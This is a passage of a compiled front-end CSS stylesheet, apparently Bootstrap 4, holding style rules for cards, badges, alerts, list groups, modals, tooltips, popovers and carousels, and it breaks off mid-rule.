7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-dark .navbar-text {\n color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-text a {\n color: #fff;\n}\n\n.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {\n color: #fff;\n}\n\n.card {\n position: relative;\n display: flex;\n flex-direction: column;\n min-width: 0;\n word-wrap: break-word;\n background-color: #fff;\n background-clip: border-box;\n border: 1px solid rgba(0, 0, 0, 0.125);\n border-radius: 0.25rem;\n}\n\n.card > hr {\n margin-right: 0;\n margin-left: 0;\n}\n\n.card > .list-group:first-child .list-group-item:first-child {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.card > .list-group:last-child .list-group-item:last-child {\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.card-body {\n flex: 1 1 auto;\n padding: 1.25rem;\n}\n\n.card-title {\n margin-bottom: 0.75rem;\n}\n\n.card-subtitle {\n margin-top: -0.375rem;\n margin-bottom: 0;\n}\n\n.card-text:last-child {\n margin-bottom: 0;\n}\n\n.card-link:hover {\n text-decoration: none;\n}\n\n.card-link + .card-link {\n margin-left: 1.25rem;\n}\n\n.card-header {\n padding: 0.75rem 1.25rem;\n margin-bottom: 0;\n background-color: rgba(0, 0, 0, 0.03);\n border-bottom: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-header:first-child {\n border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;\n}\n\n.card-header + .list-group .list-group-item:first-child {\n border-top: 0;\n}\n\n.card-footer {\n padding: 0.75rem 1.25rem;\n background-color: rgba(0, 0, 0, 0.03);\n border-top: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-footer:last-child {\n border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);\n}\n\n.card-header-tabs {\n margin-right: -0.625rem;\n margin-bottom: -0.75rem;\n margin-left: -0.625rem;\n border-bottom: 0;\n}\n\n.card-header-pills {\n margin-right: -0.625rem;\n margin-left: -0.625rem;\n}\n\n.card-img-overlay {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n padding: 1.25rem;\n}\n\n.card-img {\n width: 100%;\n border-radius: calc(0.25rem - 1px);\n}\n\n.card-img-top {\n width: 100%;\n border-top-left-radius: calc(0.25rem - 1px);\n border-top-right-radius: calc(0.25rem - 1px);\n}\n\n.card-img-bottom {\n width: 100%;\n border-bottom-right-radius: calc(0.25rem - 1px);\n border-bottom-left-radius: calc(0.25rem - 1px);\n}\n\n.card-deck {\n display: flex;\n flex-direction: column;\n}\n\n.card-deck .card {\n margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n .card-deck {\n flex-flow: row wrap;\n margin-right: -15px;\n margin-left: -15px;\n }\n .card-deck .card {\n display: flex;\n flex: 1 0 0%;\n flex-direction: column;\n margin-right: 15px;\n margin-bottom: 0;\n margin-left: 15px;\n }\n}\n\n.card-group {\n display: flex;\n flex-direction: column;\n}\n\n.card-group > .card {\n margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n .card-group {\n flex-flow: row wrap;\n }\n .card-group > .card {\n flex: 1 0 0%;\n margin-bottom: 0;\n }\n .card-group > .card + .card {\n margin-left: 0;\n border-left: 0;\n }\n .card-group > .card:first-child {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n }\n .card-group > .card:first-child .card-img-top,\n .card-group > .card:first-child .card-header {\n border-top-right-radius: 0;\n }\n .card-group > .card:first-child .card-img-bottom,\n .card-group > .card:first-child .card-footer {\n border-bottom-right-radius: 0;\n }\n .card-group > .card:last-child {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n }\n .card-group > .card:last-child .card-img-top,\n .card-group > .card:last-child .card-header {\n border-top-left-radius: 0;\n }\n .card-group > .card:last-child .card-img-bottom,\n .card-group > .card:last-child .card-footer {\n border-bottom-left-radius: 0;\n }\n .card-group > .card:only-child {\n border-radius: 0.25rem;\n }\n .card-group > .card:only-child .card-img-top,\n .card-group > .card:only-child .card-header {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n }\n .card-group > .card:only-child .card-img-bottom,\n .card-group > .card:only-child .card-footer {\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n }\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) {\n border-radius: 0;\n }\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer {\n border-radius: 0;\n }\n}\n\n.card-columns .card {\n margin-bottom: 0.75rem;\n}\n\n@media (min-width: 576px) {\n .card-columns {\n column-count: 3;\n column-gap: 1.25rem;\n orphans: 1;\n widows: 1;\n }\n .card-columns .card {\n display: inline-block;\n width: 100%;\n }\n}\n\n.accordion .card:not(:first-of-type):not(:last-of-type) {\n border-bottom: 0;\n border-radius: 0;\n}\n\n.accordion .card:not(:first-of-type) .card-header:first-child {\n border-radius: 0;\n}\n\n.accordion .card:first-of-type {\n border-bottom: 0;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.accordion .card:last-of-type {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.breadcrumb {\n display: flex;\n flex-wrap: wrap;\n padding: 0.75rem 1rem;\n margin-bottom: 1rem;\n list-style: none;\n background-color: #e9ecef;\n border-radius: 0.25rem;\n}\n\n.breadcrumb-item + .breadcrumb-item {\n padding-left: 0.5rem;\n}\n\n.breadcrumb-item + .breadcrumb-item::before {\n display: inline-block;\n padding-right: 0.5rem;\n color: #6c757d;\n content: \"/\";\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n text-decoration: underline;\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n text-decoration: none;\n}\n\n.breadcrumb-item.active {\n color: #6c757d;\n}\n\n.pagination {\n display: flex;\n padding-left: 0;\n list-style: none;\n border-radius: 0.25rem;\n}\n\n.page-link {\n position: relative;\n display: block;\n padding: 0.5rem 0.75rem;\n margin-left: -1px;\n line-height: 1.25;\n color: #007bff;\n background-color: #fff;\n border: 1px solid #dee2e6;\n}\n\n.page-link:hover {\n z-index: 2;\n color: #0056b3;\n text-decoration: none;\n background-color: #e9ecef;\n border-color: #dee2e6;\n}\n\n.page-link:focus {\n z-index: 2;\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.page-link:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.page-item:first-child .page-link {\n margin-left: 0;\n border-top-left-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.page-item:last-child .page-link {\n border-top-right-radius: 0.25rem;\n border-bottom-right-radius: 0.25rem;\n}\n\n.page-item.active .page-link {\n z-index: 1;\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.page-item.disabled .page-link {\n color: #6c757d;\n pointer-events: none;\n cursor: auto;\n background-color: #fff;\n border-color: #dee2e6;\n}\n\n.pagination-lg .page-link {\n padding: 0.75rem 1.5rem;\n font-size: 1.25rem;\n line-height: 1.5;\n}\n\n.pagination-lg .page-item:first-child .page-link {\n border-top-left-radius: 0.3rem;\n border-bottom-left-radius: 0.3rem;\n}\n\n.pagination-lg .page-item:last-child .page-link {\n border-top-right-radius: 0.3rem;\n border-bottom-right-radius: 0.3rem;\n}\n\n.pagination-sm .page-link {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n}\n\n.pagination-sm .page-item:first-child .page-link {\n border-top-left-radius: 0.2rem;\n border-bottom-left-radius: 0.2rem;\n}\n\n.pagination-sm .page-item:last-child .page-link {\n border-top-right-radius: 0.2rem;\n border-bottom-right-radius: 0.2rem;\n}\n\n.badge {\n display: inline-block;\n padding: 0.25em 0.4em;\n font-size: 75%;\n font-weight: 700;\n line-height: 1;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: 0.25rem;\n}\n\n.badge:empty {\n display: none;\n}\n\n.btn .badge {\n position: relative;\n top: -1px;\n}\n\n.badge-pill {\n padding-right: 0.6em;\n padding-left: 0.6em;\n border-radius: 10rem;\n}\n\n.badge-primary {\n color: #fff;\n background-color: #007bff;\n}\n\n.badge-primary[href]:hover, .badge-primary[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #0062cc;\n}\n\n.badge-secondary {\n color: #fff;\n background-color: #6c757d;\n}\n\n.badge-secondary[href]:hover, .badge-secondary[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #545b62;\n}\n\n.badge-success {\n color: #fff;\n background-color: #28a745;\n}\n\n.badge-success[href]:hover, .badge-success[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #1e7e34;\n}\n\n.badge-info {\n color: #fff;\n background-color: #17a2b8;\n}\n\n.badge-info[href]:hover, .badge-info[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #117a8b;\n}\n\n.badge-warning {\n color: #212529;\n background-color: #ffc107;\n}\n\n.badge-warning[href]:hover, .badge-warning[href]:focus {\n color: #212529;\n text-decoration: none;\n background-color: #d39e00;\n}\n\n.badge-danger {\n color: #fff;\n background-color: #dc3545;\n}\n\n.badge-danger[href]:hover, .badge-danger[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #bd2130;\n}\n\n.badge-light {\n color: #212529;\n background-color: #f8f9fa;\n}\n\n.badge-light[href]:hover, .badge-light[href]:focus {\n color: #212529;\n text-decoration: none;\n background-color: #dae0e5;\n}\n\n.badge-dark {\n color: #fff;\n background-color: #343a40;\n}\n\n.badge-dark[href]:hover, .badge-dark[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #1d2124;\n}\n\n.jumbotron {\n padding: 2rem 1rem;\n margin-bottom: 2rem;\n background-color: #e9ecef;\n border-radius: 0.3rem;\n}\n\n@media (min-width: 576px) {\n .jumbotron {\n padding: 4rem 2rem;\n }\n}\n\n.jumbotron-fluid {\n padding-right: 0;\n padding-left: 0;\n border-radius: 0;\n}\n\n.alert {\n position: relative;\n padding: 0.75rem 1.25rem;\n margin-bottom: 1rem;\n border: 1px solid transparent;\n border-radius: 0.25rem;\n}\n\n.alert-heading {\n color: inherit;\n}\n\n.alert-link {\n font-weight: 700;\n}\n\n.alert-dismissible {\n padding-right: 4rem;\n}\n\n.alert-dismissible .close {\n position: absolute;\n top: 0;\n right: 0;\n padding: 0.75rem 1.25rem;\n color: inherit;\n}\n\n.alert-primary {\n color: #004085;\n background-color: #cce5ff;\n border-color: #b8daff;\n}\n\n.alert-primary hr {\n border-top-color: #9fcdff;\n}\n\n.alert-primary .alert-link {\n color: #002752;\n}\n\n.alert-secondary {\n color: #383d41;\n background-color: #e2e3e5;\n border-color: #d6d8db;\n}\n\n.alert-secondary hr {\n border-top-color: #c8cbcf;\n}\n\n.alert-secondary .alert-link {\n color: #202326;\n}\n\n.alert-success {\n color: #155724;\n background-color: #d4edda;\n border-color: #c3e6cb;\n}\n\n.alert-success hr {\n border-top-color: #b1dfbb;\n}\n\n.alert-success .alert-link {\n color: #0b2e13;\n}\n\n.alert-info {\n color: #0c5460;\n background-color: #d1ecf1;\n border-color: #bee5eb;\n}\n\n.alert-info hr {\n border-top-color: #abdde5;\n}\n\n.alert-info .alert-link {\n color: #062c33;\n}\n\n.alert-warning {\n color: #856404;\n background-color: #fff3cd;\n border-color: #ffeeba;\n}\n\n.alert-warning hr {\n border-top-color: #ffe8a1;\n}\n\n.alert-warning .alert-link {\n color: #533f03;\n}\n\n.alert-danger {\n color: #721c24;\n background-color: #f8d7da;\n border-color: #f5c6cb;\n}\n\n.alert-danger hr {\n border-top-color: #f1b0b7;\n}\n\n.alert-danger .alert-link {\n color: #491217;\n}\n\n.alert-light {\n color: #818182;\n background-color: #fefefe;\n border-color: #fdfdfe;\n}\n\n.alert-light hr {\n border-top-color: #ececf6;\n}\n\n.alert-light .alert-link {\n color: #686868;\n}\n\n.alert-dark {\n color: #1b1e21;\n background-color: #d6d8d9;\n border-color: #c6c8ca;\n}\n\n.alert-dark hr {\n border-top-color: #b9bbbe;\n}\n\n.alert-dark .alert-link {\n color: #040505;\n}\n\n@keyframes progress-bar-stripes {\n from {\n background-position: 1rem 0;\n }\n to {\n background-position: 0 0;\n }\n}\n\n.progress {\n display: flex;\n height: 1rem;\n overflow: hidden;\n font-size: 0.75rem;\n background-color: #e9ecef;\n border-radius: 0.25rem;\n}\n\n.progress-bar {\n display: flex;\n flex-direction: column;\n justify-content: center;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n background-color: #007bff;\n transition: width 0.6s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .progress-bar {\n transition: none;\n }\n}\n\n.progress-bar-striped {\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 1rem 1rem;\n}\n\n.progress-bar-animated {\n animation: progress-bar-stripes 1s linear infinite;\n}\n\n.media {\n display: flex;\n align-items: flex-start;\n}\n\n.media-body {\n flex: 1;\n}\n\n.list-group {\n display: flex;\n flex-direction: column;\n padding-left: 0;\n margin-bottom: 0;\n}\n\n.list-group-item-action {\n width: 100%;\n color: #495057;\n text-align: inherit;\n}\n\n.list-group-item-action:hover, .list-group-item-action:focus {\n color: #495057;\n text-decoration: none;\n background-color: #f8f9fa;\n}\n\n.list-group-item-action:active {\n color: #212529;\n background-color: #e9ecef;\n}\n\n.list-group-item {\n position: relative;\n display: block;\n padding: 0.75rem 1.25rem;\n margin-bottom: -1px;\n background-color: #fff;\n border: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.list-group-item:first-child {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.list-group-item:hover, .list-group-item:focus {\n z-index: 1;\n text-decoration: none;\n}\n\n.list-group-item.disabled, .list-group-item:disabled {\n color: #6c757d;\n background-color: #fff;\n}\n\n.list-group-item.active {\n z-index: 2;\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.list-group-flush .list-group-item {\n border-right: 0;\n border-left: 0;\n border-radius: 0;\n}\n\n.list-group-flush:first-child .list-group-item:first-child {\n border-top: 0;\n}\n\n.list-group-flush:last-child .list-group-item:last-child {\n border-bottom: 0;\n}\n\n.list-group-item-primary {\n color: #004085;\n background-color: #b8daff;\n}\n\n.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus {\n color: #004085;\n background-color: #9fcdff;\n}\n\n.list-group-item-primary.list-group-item-action.active {\n color: #fff;\n background-color: #004085;\n border-color: #004085;\n}\n\n.list-group-item-secondary {\n color: #383d41;\n background-color: #d6d8db;\n}\n\n.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus {\n color: #383d41;\n background-color: #c8cbcf;\n}\n\n.list-group-item-secondary.list-group-item-action.active {\n color: #fff;\n background-color: #383d41;\n border-color: #383d41;\n}\n\n.list-group-item-success {\n color: #155724;\n background-color: #c3e6cb;\n}\n\n.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus {\n color: #155724;\n background-color: #b1dfbb;\n}\n\n.list-group-item-success.list-group-item-action.active {\n color: #fff;\n background-color: #155724;\n border-color: #155724;\n}\n\n.list-group-item-info {\n color: #0c5460;\n background-color: #bee5eb;\n}\n\n.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus {\n color: #0c5460;\n background-color: #abdde5;\n}\n\n.list-group-item-info.list-group-item-action.active {\n color: #fff;\n background-color: #0c5460;\n border-color: #0c5460;\n}\n\n.list-group-item-warning {\n color: #856404;\n background-color: #ffeeba;\n}\n\n.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus {\n color: #856404;\n background-color: #ffe8a1;\n}\n\n.list-group-item-warning.list-group-item-action.active {\n color: #fff;\n background-color: #856404;\n border-color: #856404;\n}\n\n.list-group-item-danger {\n color: #721c24;\n background-color: #f5c6cb;\n}\n\n.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus {\n color: #721c24;\n background-color: #f1b0b7;\n}\n\n.list-group-item-danger.list-group-item-action.active {\n color: #fff;\n background-color: #721c24;\n border-color: #721c24;\n}\n\n.list-group-item-light {\n color: #818182;\n background-color: #fdfdfe;\n}\n\n.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus {\n color: #818182;\n background-color: #ececf6;\n}\n\n.list-group-item-light.list-group-item-action.active {\n color: #fff;\n background-color: #818182;\n border-color: #818182;\n}\n\n.list-group-item-dark {\n color: #1b1e21;\n background-color: #c6c8ca;\n}\n\n.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus {\n color: #1b1e21;\n background-color: #b9bbbe;\n}\n\n.list-group-item-dark.list-group-item-action.active {\n color: #fff;\n background-color: #1b1e21;\n border-color: #1b1e21;\n}\n\n.close {\n float: right;\n font-size: 1.5rem;\n font-weight: 700;\n line-height: 1;\n color: #000;\n text-shadow: 0 1px 0 #fff;\n opacity: .5;\n}\n\n.close:hover, .close:focus {\n color: #000;\n text-decoration: none;\n opacity: .75;\n}\n\n.close:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\nbutton.close {\n padding: 0;\n background-color: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n\n.modal-open {\n overflow: hidden;\n}\n\n.modal {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n display: none;\n overflow: hidden;\n outline: 0;\n}\n\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 0.5rem;\n pointer-events: none;\n}\n\n.modal.fade .modal-dialog {\n transition: transform 0.3s ease-out;\n transform: translate(0, -25%);\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .modal.fade .modal-dialog {\n transition: none;\n }\n}\n\n.modal.show .modal-dialog {\n transform: translate(0, 0);\n}\n\n.modal-dialog-centered {\n display: flex;\n align-items: center;\n min-height: calc(100% - (0.5rem * 2));\n}\n\n.modal-content {\n position: relative;\n display: flex;\n flex-direction: column;\n width: 100%;\n pointer-events: auto;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 0.3rem;\n outline: 0;\n}\n\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000;\n}\n\n.modal-backdrop.fade {\n opacity: 0;\n}\n\n.modal-backdrop.show {\n opacity: 0.5;\n}\n\n.modal-header {\n display: flex;\n align-items: flex-start;\n justify-content: space-between;\n padding: 1rem;\n border-bottom: 1px solid #e9ecef;\n border-top-left-radius: 0.3rem;\n border-top-right-radius: 0.3rem;\n}\n\n.modal-header .close {\n padding: 1rem;\n margin: -1rem -1rem -1rem auto;\n}\n\n.modal-title {\n margin-bottom: 0;\n line-height: 1.5;\n}\n\n.modal-body {\n position: relative;\n flex: 1 1 auto;\n padding: 1rem;\n}\n\n.modal-footer {\n display: flex;\n align-items: center;\n justify-content: flex-end;\n padding: 1rem;\n border-top: 1px solid #e9ecef;\n}\n\n.modal-footer > :not(:first-child) {\n margin-left: .25rem;\n}\n\n.modal-footer > :not(:last-child) {\n margin-right: .25rem;\n}\n\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n\n@media (min-width: 576px) {\n .modal-dialog {\n max-width: 500px;\n margin: 1.75rem auto;\n }\n .modal-dialog-centered {\n min-height: calc(100% - (1.75rem * 2));\n }\n .modal-sm {\n max-width: 300px;\n }\n}\n\n@media (min-width: 992px) {\n .modal-lg {\n max-width: 800px;\n }\n}\n\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-style: normal;\n font-weight: 400;\n line-height: 1.5;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n white-space: normal;\n line-break: auto;\n font-size: 0.875rem;\n word-wrap: break-word;\n opacity: 0;\n}\n\n.tooltip.show {\n opacity: 0.9;\n}\n\n.tooltip .arrow {\n position: absolute;\n display: block;\n width: 0.8rem;\n height: 0.4rem;\n}\n\n.tooltip .arrow::before {\n position: absolute;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n}\n\n.bs-tooltip-top, .bs-tooltip-auto[x-placement^=\"top\"] {\n padding: 0.4rem 0;\n}\n\n.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^=\"top\"] .arrow {\n bottom: 0;\n}\n\n.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^=\"top\"] .arrow::before {\n top: 0;\n border-width: 0.4rem 0.4rem 0;\n border-top-color: #000;\n}\n\n.bs-tooltip-right, .bs-tooltip-auto[x-placement^=\"right\"] {\n padding: 0 0.4rem;\n}\n\n.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^=\"right\"] .arrow {\n left: 0;\n width: 0.4rem;\n height: 0.8rem;\n}\n\n.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^=\"right\"] .arrow::before {\n right: 0;\n border-width: 0.4rem 0.4rem 0.4rem 0;\n border-right-color: #000;\n}\n\n.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^=\"bottom\"] {\n padding: 0.4rem 0;\n}\n\n.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow {\n top: 0;\n}\n\n.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow::before {\n bottom: 0;\n border-width: 0 0.4rem 0.4rem;\n border-bottom-color: #000;\n}\n\n.bs-tooltip-left, .bs-tooltip-auto[x-placement^=\"left\"] {\n padding: 0 0.4rem;\n}\n\n.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^=\"left\"] .arrow {\n right: 0;\n width: 0.4rem;\n height: 0.8rem;\n}\n\n.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^=\"left\"] .arrow::before {\n left: 0;\n border-width: 0.4rem 0 0.4rem 0.4rem;\n border-left-color: #000;\n}\n\n.tooltip-inner {\n max-width: 200px;\n padding: 0.25rem 0.5rem;\n color: #fff;\n text-align: center;\n background-color: #000;\n border-radius: 0.25rem;\n}\n\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: block;\n max-width: 276px;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-style: normal;\n font-weight: 400;\n line-height: 1.5;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n white-space: normal;\n line-break: auto;\n font-size: 0.875rem;\n word-wrap: break-word;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 0.3rem;\n}\n\n.popover .arrow {\n position: absolute;\n display: block;\n width: 1rem;\n height: 0.5rem;\n margin: 0 0.3rem;\n}\n\n.popover .arrow::before, .popover .arrow::after {\n position: absolute;\n display: block;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n}\n\n.bs-popover-top, .bs-popover-auto[x-placement^=\"top\"] {\n margin-bottom: 0.5rem;\n}\n\n.bs-popover-top .arrow, .bs-popover-auto[x-placement^=\"top\"] .arrow {\n bottom: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before,\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n border-width: 0.5rem 0.5rem 0;\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before {\n bottom: 0;\n border-top-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n bottom: 1px;\n border-top-color: #fff;\n}\n\n.bs-popover-right, .bs-popover-auto[x-placement^=\"right\"] {\n margin-left: 0.5rem;\n}\n\n.bs-popover-right .arrow, .bs-popover-auto[x-placement^=\"right\"] .arrow {\n left: calc((0.5rem + 1px) * -1);\n width: 0.5rem;\n height: 1rem;\n margin: 0.3rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before,\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n border-width: 0.5rem 0.5rem 0.5rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before {\n left: 0;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n left: 1px;\n border-right-color: #fff;\n}\n\n.bs-popover-bottom, .bs-popover-auto[x-placement^=\"bottom\"] {\n margin-top: 0.5rem;\n}\n\n.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^=\"bottom\"] .arrow {\n top: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before,\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n border-width: 0 0.5rem 0.5rem 0.5rem;\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before {\n top: 0;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n top: 1px;\n border-bottom-color: #fff;\n}\n\n.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^=\"bottom\"] .popover-header::before {\n position: absolute;\n top: 0;\n left: 50%;\n display: block;\n width: 1rem;\n margin-left: -0.5rem;\n content: \"\";\n border-bottom: 1px solid #f7f7f7;\n}\n\n.bs-popover-left, .bs-popover-auto[x-placement^=\"left\"] {\n margin-right: 0.5rem;\n}\n\n.bs-popover-left .arrow, .bs-popover-auto[x-placement^=\"left\"] .arrow {\n right: calc((0.5rem + 1px) * -1);\n width: 0.5rem;\n height: 1rem;\n margin: 0.3rem 0;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before,\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n border-width: 0.5rem 0 0.5rem 0.5rem;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before {\n right: 0;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n right: 1px;\n border-left-color: #fff;\n}\n\n.popover-header {\n padding: 0.5rem 0.75rem;\n margin-bottom: 0;\n font-size: 1rem;\n color: inherit;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-top-left-radius: calc(0.3rem - 1px);\n border-top-right-radius: calc(0.3rem - 1px);\n}\n\n.popover-header:empty {\n display: none;\n}\n\n.popover-body {\n padding: 0.5rem 0.75rem;\n color: #212529;\n}\n\n.carousel {\n position: relative;\n}\n\n.carousel-inner {\n position: relative;\n width: 100%;\n overflow: hidden;\n}\n\n.carousel-item {\n position: relative;\n display: none;\n align-items: center;\n width: 100%;\n transition: transform 0.6s ease;\n backface-visibility: hidden;\n perspective: 1000px;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .carousel-item {\n transition: none;\n }\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n position: absolute;\n top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n transform: translateX(0);\n}\n\n@supports (transform-style: preserve-3d) {\n .carousel-item-next.carousel-item-left,\n .carousel-item-prev.carousel-item-right {\n transform: translate3d(0, 0, 0);\n }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n transform: translateX(100%);\n}\n\n@supports (transform-style: preserve-3d) {\n .carousel-item-next,\n .active.carousel-item-right {\n transform: translate3d(100%, 0, 0);\n }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n transform: translateX(-100%);\n}\n\n@supports (transform-style: preserve-3d) {\n .carousel-item-prev,\n .active.carousel-item-left {\n transform: translate3d(-100%, 0, 0);\n }\n}\n\n.carousel-fade .carousel-item {\n opacity: 0;\n transition-duration: .6s;\n transition-property: opacity;\n}\n\n.carousel-fade .carousel-item.active,\n.carousel-fade .carousel-item-next.carousel-item-left,\n.carousel-fade .carousel-item-prev.carousel-item-right {\n opacity: 